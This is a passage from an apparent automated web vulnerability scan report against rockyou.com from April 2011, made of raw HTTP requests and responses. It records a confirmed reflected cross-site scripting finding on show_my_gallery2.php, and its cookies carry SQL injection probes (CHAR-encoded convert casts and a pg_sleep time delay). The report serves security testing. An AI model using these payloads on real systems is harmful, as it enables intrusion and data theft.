istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=rockyou.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:33:43 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:33:42 GMT; path=/; domain=.rockyou.com,lastlogin=1303166023; expires=Wed, 27-Jul-2011 22:33:43 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:33:43 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:33:43 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:33:43 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=262697 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9844
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="js/lightbox/prototype.js" type="text/javascript"></script><script src="js/lightbox/scriptaculous.js?load=effects" type="text/javascript"></script><script src="js/lightbox/lightbox.js" type="text/javascript"></script><script src="js/embeds.js?ver=5" type="text/javascript"></script><script src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js" type="text/javascript"></script><script src="js/subscription.js?ver=2" type="text/javascript"></script><script src="/js/standard.js" type="text/javascript"></script><link href="/css/style.css" rel="stylesheet" type="text/css"><link href="/css/comment.css" rel="stylesheet" type="text/css"><link href="/css/profile.css" rel="stylesheet" type="text/css"><link href="/css/lightbox.css" rel="stylesheet" type="text/css"><link href="/css/star_rating.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> <meta name="title" content="RockYou Slideshow" />
<meta name="description" content="Check out my new photos from RockYou.com." />
<link rel="image_src" href="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" />
<link rel="video_src" href="http://apps.rockyou.com/rockyou.swf?instanceid=&#039;+netsparker(9)+&#039;"/>
<meta name="video_height" content="320" />
<meta name="video_width" content="426" />
<meta name="video_type" content="application/x-shockwave-flash" /></HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-button" style="font-weight:bold"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-create&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fchoose_widget.php">CREATE</a></div> <div class="nav-button"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-browse&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Ffeaturedartists.php">BROWSE</a></div> <div class="nav-button"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-mystuff&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fmy_stuff.php">MY STUFF</a></div> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-login&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Flogin%2Findex.php">Log In</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-register&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Flogin%2Findex.php">Register</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png");'> <img src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" class="transparent"/> </div> </div> </div> <br>
<script type="text/javascript">
function thickBoxFrame(msg, url){
//alert(url);
url = url+'?KeepThis=true&TB_iframe=true&height=310&width=370';
TB_show('fff', 'http://www.google.com', '');

}

function getImgLink(img_src, img_cap) { var first_dot_index = img_src.indexOf('.') + 1; var rest_url = img_src.slice(first_dot_index,img_src.length); var second_dot_index = rest_url.indexOf('.'); var second_slice_index = rest_url.indexOf('/')+ first_dot_index ; var partner_name = rest_url.slice(0,second_dot_index); var partner_url = img_src; partner_url = img_src.slice(0,second_slice_index); //alert( '<a href=\"'+img_src+'\" rel=\"lightbox[show]\" title=\"'+img_cap+'\">rest_url</a>'); if (partner_name == 'badongo'){ img_src= img_src.replace('/ry/','/pic/').replace('.jpg',''); return '<a href=\"'+img_src+'\" target="_blank" title=\"'+img_cap+'\">view pic<br>('+partner_name+')</a>'; }else{ return '<a href=\"'+img_src+'\" rel=\"lightbox[show]\" title=\"'+img_cap+'\" onclick=\"ajax_post_john(\'/events/include/ajaxtrackevent.php\',\'name=rockyou-mobile&value=showmygallery\',null,null);\">view pic<br>('+partner_name+')</a>'; } }
function deleteComment(url) {
deleteme = confirm("Delete This Comment?");
if (deleteme) {
window.location=url;
}
}


function deletethis (e) {
if (!e) var e = window.event;
var tg = (e.target) ? e.target : e.srcElement
removeObj(tg.parentNode);
}
function removeObj(tr){
tr.parentNode.removeChild(tr);
}
function addtxtbox()
{
table=document.getElementById('tbltext');
mycurrent_row=document.createElement("TR");
mycurrent_cell=document.createElement("TD");
try
{
mycurrent_cell.innerHTML="<input type=\"text\" name=\"to[]\" class=\"textboxcl2\"> <input type=\"button\" value=\"Remove\" onclick=\"deletethis(event)\">";
}
catch(e)
{
mytextbox=document.createElement("INPUT");
mytextbox.setAttribute("type","text");
mytextbox.setAttribute("name","to[]");
mytextbox.setAttribute("class","textboxcl2");
mycurrent_cell.appendChild(mytextbox);
mybutton=document.createElement("INPUT");
mybutton.setAttribute("type","Button");
mybutton.setAttribute("value","Remove");
mybutton.setAttribute("onclick","alert('this')");
mycurrent_cell.appendChild(mybutton);
}
mycurrent_row.appendChild(mycurrent_cell);
table.getElementsByTagName('tbody')[0].appendChild(mycurrent_row);
}

function xmlhttpPostURL(type,data,url) {
var xmlHttpReq = false;
var self = this;
// Mozilla/Safari
if (window.XMLHttpRequest) {
self.xmlHttpReq = new XMLHttpRequest();
}
// IE
else if (window.ActiveXObject) {
self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
}
self.xmlHttpReq.open('POST', url+"?instanceid=&amp;#039;+netsparker(9)+&amp;#039;", true);
self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8");
self.xmlHttpReq.onreadystatechange = function() {
if (self.xmlHttpReq.readyState == 4) {
//alert(self.xmlHttpReq.responseXML);
notXML = false;
if (self.xmlHttpReq.responseXML)
{
//eval ("var resp = "+self.xmlHttpReq.responseText);
xmlDoc = self.xmlHttpReq.responseXML.documentElement;
if (xmlDoc)
{
var thumbClass = (navigator.appVersion.indexOf('MSIE 6') == -1) ? 'smallthumb' : 'smallthumbIE6';
imageList = xmlDoc.getElementsByTagName("image");
capList = xmlDoc.getElementsByTagName("text");
imgs = "";
if (thumbnailStart > imageList.length) thumbnailStart -= calcThumbnailsCount();
if (thumbnailStart < 0) thumbnailStart = 0;
thumbnailEnd = thumbnailStart + calcThumbnailsCount();
if (thumbnailEnd > imageList.length) thumbnailEnd = imageList.length;
for (i = 0; i < imageList.length; i++)
{
img_src = imageList[i].getAttribute("path");
img_cap = URLDecode(capList[i].getAttribute("text"));
img_link = getImgLink(img_src, img_cap);

if ((i >= thumbnailStart) && (i < thumbnailEnd)) {
imgs += "<div class='thumbwrap'>";
} else {
imgs += "<div class='thumbwrap' style='display:none'>";
}
imgs += "<a href='"+img_src+"' rel='lightbox[show]'><img src='"+img_src+"' class='"+thumbClass+"' title=\""+img_cap+"\"></a><br><img src='/images/icons/mobilephone.gif' style='margin-top:8px;margin-left:7px;cursor:pointer;float:left' onclick=\"ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-mobile&value=showmygallery',null,null); window.open('http://photofun.funmo.com/rockyou/photos/new?orig_url="+escape(img_src)+"','tomobile','width=776,height=585,status=no,toolbar=no,menubar=no,scrollbars=no,resizable=yes,location=no,directories=no,status=no');return false;\">";
imgs += img_link+"</div>";
}
document.getElementById("photothumbs").innerHTML = imgs;
initLightbox();
actionJump();
}
else
{
notXML = true;
}
}
else
{
notXML = true;
}

if (notXML)
{
eval ("var resp = "+self.xmlHttpReq.responseText);
if (resp['mode']=='vote')
{
//set new Rating and Votes
document.getElementById('current-rating').style.width=30*resp['data'][0];

document.getElementById('current-vote').innerHTML=resp['data'][1]+' Votes';
}
}

}
}
self.xmlHttpReq.send(type+"="+escape(data));
}

function URLDecode(psEncodeString)
{
var lsRegExp = /\+/g;
return unescape(String(psEncodeString).replace(lsRegExp, " "));
}

function setStartSlide(slide)
{
document.getElementById('flashsrc').innerHTML='<embed src="http://apps.rockyou.com/rockyou.swf?instanceid=&amp;#039;+netsparker(9)+&amp;#039;&startSlide='+slide+'" quality="high" wmode="transparent" width="426" height="320" flashvars="appWidth=325&appHeight=244" name="slideshowpreview" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/>';
}

function initPage()
{
xmlhttpPostURL("1",'',"xmlproxy.php");
}

if (window.addEventListener) {
window.addEventListener('load',initPage,false);
}
else window.attachEvent('onload',initPage);

function actionJump()
{
}

function rate_vote(vote)
{
xmlhttpPostURL("vote",vote,"show_my_gallery-ajax.php");
//alert(vote);
}

function rate_display(vote)
{
var note = "";
switch (vote)
{
case 1:
note = "Total Junk";
break;
case 2:
note = "Kinda Lame";
break;
case 3:
note = "Its OK";
break;
case 4:
note = "Pretty Good";
break;
case 5:
note = "Way Hot";
break;
}
document.getElementById('ratingtitle').innerHTML=note;
}
function rate_displayout()
{
document.getElementById('ratingtitle').innerHTML = "Rate Me!";
}
</script>


<div id="container" style='width:1125px;margin:auto;padding-top:15px'>
<div style="float:left;width:800px">
<table id="photothumbscontainer" style="margin-bottom:15px;" cellpadding="0" cellspacing="0" ><tr>
<td><img src="/images/thumbnailsLeft.gif" onclick="thumbnailStart-=calcThumbnailsCount();updateThumbnails()" style="cursor:pointer" /></td>
<td id="photothumbs" style="width:800px; height:94px; background:#300018; padding: 2px 0; font-size:10px; vertical-align:bottom">&nbsp;</td>
<td><img src="/images/thumbnailsRight.gif" onclick="thumbnailStart+=calcThumbnailsCount();updateThumbnails()" style="cursor:pointer" /></td>
</tr></table>
<div id="contentwrapper" style="float:left" >
<div id="contentcolumn" style="width:500px" align="center">



<div align="left" style="width:500px">
<div style="width:425px;margin:0 auto;border:2px solid red;background:red;text-align:center;color:white">PRIVATE SLIDESHOW</div> <div id="slideshow-container" style="width:450px; height:300px; margin:0px auto 20px; border: 1px solid #a80050">
<div id='flashsrc'>
<table cellpadding="0" cellspacing="0" border="0">
<tr valign="top">
<td><div id="embeddiv"></div></td>
<td>
<div style="width:100px;height:100px;position:absolute;">
<!--script type="text/javascript">var likeParams = ['01078cba91618ea1','drawerbutton'];</script><script type="text/javascript" src="http://partner.like.com/likesense/rockyou.js"></script-->
</div>
</td>
</tr>
</table>
</div>

</div>


<style>
#photothumbs a:link {color:#ffffff;}
</style>

<table style="margin: 0 auto; clear:both" width="450px"><tr>
<script>
function showPagelet(p) {
document.getElementById('sharePagelet').style.display='none';
document.getElementById('ratePagelet').style.display='none';
document.getElementById(p).style.display='';
}
</script>
<td><a href="#" onclick="ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-share&value=showmygallery',null,null); showPagelet('sharePagelet'); return false;">SHARE</a></td>
<td><a href="#" onclick="showPagelet('ratePagelet'); return false;">RATE</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-makeaslideshow&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fviewpage_clickthrough.php%3Fwidget%3Dslideshow%26instanceid%3D%26amp%3B%23039%3B%2Bnetsparker%289%29%2B%26amp%3B%23039%3B">MAKE A SLIDESHOW</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-addtofavorites&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Faddfavorite.php%3Finstanceid%3D%26amp%3B%23039%3B%2Bnetsparker%289%29%2B%26amp%3B%23039%3B">ADD TO FAVORITES</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-report&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fsetinappropriate.php%3Finstanceid%3D%26amp%3B%23039%3B%2Bnetsparker%289%29%2B%26amp%3B%23039%3B">REPORT</a></td>
</tr></table>

<div id="..
- /show_my_gallery2.php

/show_my_gallery2.php CONFIRMED

http://www.rockyou.com/show_my_gallery2.php?lang=en&instanceid='%2Balert(9)%2B'

Parameters

Parameter Type Value
lang GET en
instanceid GET '+alert(9)+'

Request

GET /show_my_gallery2.php?lang=en&instanceid='%2Bnetsparker(9)%2B' HTTP/1.1
Referer: http://www.rockyou.com/show_my_gallery.php?lang=en&instanceid=13193054
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303166051; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=rockyou.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:34:11 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:34:10 GMT; path=/; domain=.rockyou.com,lastlogin=1303166051; expires=Wed, 27-Jul-2011 22:34:11 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:34:11 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=272756 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9843
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="js/lightbox/prototype.js" type="text/javascript"></script><script src="js/lightbox/scriptaculous.js?load=effects" type="text/javascript"></script><script src="js/lightbox/lightbox.js" type="text/javascript"></script><script src="js/embeds.js?ver=5" type="text/javascript"></script><script src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js" type="text/javascript"></script><script src="js/subscription.js?ver=2" type="text/javascript"></script><script src="/js/standard.js" type="text/javascript"></script><link href="/css/style.css" rel="stylesheet" type="text/css"><link href="/css/comment.css" rel="stylesheet" type="text/css"><link href="/css/profile.css" rel="stylesheet" type="text/css"><link href="/css/lightbox.css" rel="stylesheet" type="text/css"><link href="/css/star_rating.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> <meta name="title" content="RockYou Slideshow" />
<meta name="description" content="Check out my new photos from RockYou.com." />
<link rel="image_src" href="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" />
<link rel="video_src" href="http://apps.rockyou.com/rockyou.swf?instanceid=&#039;+netsparker(9)+&#039;"/>
<meta name="video_height" content="320" />
<meta name="video_width" content="426" />
<meta name="video_type" content="application/x-shockwave-flash" /></HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-button" style="font-weight:bold"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-create&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fchoose_widget.php">CREATE</a></div> <div class="nav-button"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-browse&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Ffeaturedartists.php">BROWSE</a></div> <div class="nav-button"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-mystuff&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fmy_stuff.php">MY STUFF</a></div> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-login&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Flogin%2Findex.php">Log In</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-register&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Flogin%2Findex.php">Register</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png");'> <img src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" class="transparent"/> </div> </div> </div> <br>
<script type="text/javascript">
function thickBoxFrame(msg, url){
//alert(url);
url = url+'?KeepThis=true&TB_iframe=true&height=310&width=370';
TB_show('fff', 'http://www.google.com', '');

}

function getImgLink(img_src, img_cap) { var first_dot_index = img_src.indexOf('.') + 1; var rest_url = img_src.slice(first_dot_index,img_src.length); var second_dot_index = rest_url.indexOf('.'); var second_slice_index = rest_url.indexOf('/')+ first_dot_index ; var partner_name = rest_url.slice(0,second_dot_index); var partner_url = img_src; partner_url = img_src.slice(0,second_slice_index); //alert( '<a href=\"'+img_src+'\" rel=\"lightbox[show]\" title=\"'+img_cap+'\">rest_url</a>'); if (partner_name == 'badongo'){ img_src= img_src.replace('/ry/','/pic/').replace('.jpg',''); return '<a href=\"'+img_src+'\" target="_blank" title=\"'+img_cap+'\">view pic<br>('+partner_name+')</a>'; }else{ return '<a href=\"'+img_src+'\" rel=\"lightbox[show]\" title=\"'+img_cap+'\" onclick=\"ajax_post_john(\'/events/include/ajaxtrackevent.php\',\'name=rockyou-mobile&value=showmygallery\',null,null);\">view pic<br>('+partner_name+')</a>'; } }
function deleteComment(url) {
deleteme = confirm("Delete This Comment?");
if (deleteme) {
window.location=url;
}
}


function deletethis (e) {
if (!e) var e = window.event;
var tg = (e.target) ? e.target : e.srcElement
removeObj(tg.parentNode);
}
function removeObj(tr){
tr.parentNode.removeChild(tr);
}
function addtxtbox()
{
table=document.getElementById('tbltext');
mycurrent_row=document.createElement("TR");
mycurrent_cell=document.createElement("TD");
try
{
mycurrent_cell.innerHTML="<input type=\"text\" name=\"to[]\" class=\"textboxcl2\"> <input type=\"button\" value=\"Remove\" onclick=\"deletethis(event)\">";
}
catch(e)
{
mytextbox=document.createElement("INPUT");
mytextbox.setAttribute("type","text");
mytextbox.setAttribute("name","to[]");
mytextbox.setAttribute("class","textboxcl2");
mycurrent_cell.appendChild(mytextbox);
mybutton=document.createElement("INPUT");
mybutton.setAttribute("type","Button");
mybutton.setAttribute("value","Remove");
mybutton.setAttribute("onclick","alert('this')");
mycurrent_cell.appendChild(mybutton);
}
mycurrent_row.appendChild(mycurrent_cell);
table.getElementsByTagName('tbody')[0].appendChild(mycurrent_row);
}

function xmlhttpPostURL(type,data,url) {
var xmlHttpReq = false;
var self = this;
// Mozilla/Safari
if (window.XMLHttpRequest) {
self.xmlHttpReq = new XMLHttpRequest();
}
// IE
else if (window.ActiveXObject) {
self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
}
self.xmlHttpReq.open('POST', url+"?instanceid=&amp;#039;+netsparker(9)+&amp;#039;", true);
self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8");
self.xmlHttpReq.onreadystatechange = function() {
if (self.xmlHttpReq.readyState == 4) {
//alert(self.xmlHttpReq.responseXML);
notXML = false;
if (self.xmlHttpReq.responseXML)
{
//eval ("var resp = "+self.xmlHttpReq.responseText);
xmlDoc = self.xmlHttpReq.responseXML.documentElement;
if (xmlDoc)
{
var thumbClass = (navigator.appVersion.indexOf('MSIE 6') == -1) ? 'smallthumb' : 'smallthumbIE6';
imageList = xmlDoc.getElementsByTagName("image");
capList = xmlDoc.getElementsByTagName("text");
imgs = "";
if (thumbnailStart > imageList.length) thumbnailStart -= calcThumbnailsCount();
if (thumbnailStart < 0) thumbnailStart = 0;
thumbnailEnd = thumbnailStart + calcThumbnailsCount();
if (thumbnailEnd > imageList.length) thumbnailEnd = imageList.length;
for (i = 0; i < imageList.length; i++)
{
img_src = imageList[i].getAttribute("path");
img_cap = URLDecode(capList[i].getAttribute("text"));
img_link = getImgLink(img_src, img_cap);

if ((i >= thumbnailStart) && (i < thumbnailEnd)) {
imgs += "<div class='thumbwrap'>";
} else {
imgs += "<div class='thumbwrap' style='display:none'>";
}
imgs += "<a href='"+img_src+"' rel='lightbox[show]'><img src='"+img_src+"' class='"+thumbClass+"' title=\""+img_cap+"\"></a><br><img src='/images/icons/mobilephone.gif' style='margin-top:8px;margin-left:7px;cursor:pointer;float:left' onclick=\"ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-mobile&value=showmygallery',null,null); window.open('http://photofun.funmo.com/rockyou/photos/new?orig_url="+escape(img_src)+"','tomobile','width=776,height=585,status=no,toolbar=no,menubar=no,scrollbars=no,resizable=yes,location=no,directories=no,status=no');return false;\">";
imgs += img_link+"</div>";
}
document.getElementById("photothumbs").innerHTML = imgs;
initLightbox();
actionJump();
}
else
{
notXML = true;
}
}
else
{
notXML = true;
}

if (notXML)
{
eval ("var resp = "+self.xmlHttpReq.responseText);
if (resp['mode']=='vote')
{
//set new Rating and Votes
document.getElementById('current-rating').style.width=30*resp['data'][0];

document.getElementById('current-vote').innerHTML=resp['data'][1]+' Votes';
}
}

}
}
self.xmlHttpReq.send(type+"="+escape(data));
}

function URLDecode(psEncodeString)
{
var lsRegExp = /\+/g;
return unescape(String(psEncodeString).replace(lsRegExp, " "));
}

function setStartSlide(slide)
{
document.getElementById('flashsrc').innerHTML='<embed src="http://apps.rockyou.com/rockyou.swf?instanceid=&amp;#039;+netsparker(9)+&amp;#039;&startSlide='+slide+'" quality="high" wmode="transparent" width="426" height="320" flashvars="appWidth=325&appHeight=244" name="slideshowpreview" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/>';
}

function initPage()
{
xmlhttpPostURL("1",'',"xmlproxy.php");
}

if (window.addEventListener) {
window.addEventListener('load',initPage,false);
}
else window.attachEvent('onload',initPage);

function actionJump()
{
}

function rate_vote(vote)
{
xmlhttpPostURL("vote",vote,"show_my_gallery-ajax.php");
//alert(vote);
}

function rate_display(vote)
{
var note = "";
switch (vote)
{
case 1:
note = "Total Junk";
break;
case 2:
note = "Kinda Lame";
break;
case 3:
note = "Its OK";
break;
case 4:
note = "Pretty Good";
break;
case 5:
note = "Way Hot";
break;
}
document.getElementById('ratingtitle').innerHTML=note;
}
function rate_displayout()
{
document.getElementById('ratingtitle').innerHTML = "Rate Me!";
}
</script>


<div id="container" style='width:1125px;margin:auto;padding-top:15px'>
<div style="float:left;width:800px">
<table id="photothumbscontainer" style="margin-bottom:15px;" cellpadding="0" cellspacing="0" ><tr>
<td><img src="/images/thumbnailsLeft.gif" onclick="thumbnailStart-=calcThumbnailsCount();updateThumbnails()" style="cursor:pointer" /></td>
<td id="photothumbs" style="width:800px; height:94px; background:#300018; padding: 2px 0; font-size:10px; vertical-align:bottom">&nbsp;</td>
<td><img src="/images/thumbnailsRight.gif" onclick="thumbnailStart+=calcThumbnailsCount();updateThumbnails()" style="cursor:pointer" /></td>
</tr></table>
<div id="contentwrapper" style="float:left" >
<div id="contentcolumn" style="width:500px" align="center">



<div align="left" style="width:500px">
<div style="width:425px;margin:0 auto;border:2px solid red;background:red;text-align:center;color:white">PRIVATE SLIDESHOW</div> <div id="slideshow-container" style="width:450px; height:300px; margin:0px auto 20px; border: 1px solid #a80050">
<div id='flashsrc'>
<table cellpadding="0" cellspacing="0" border="0">
<tr valign="top">
<td><div id="embeddiv"></div></td>
<td>
<div style="width:100px;height:100px;position:absolute;">
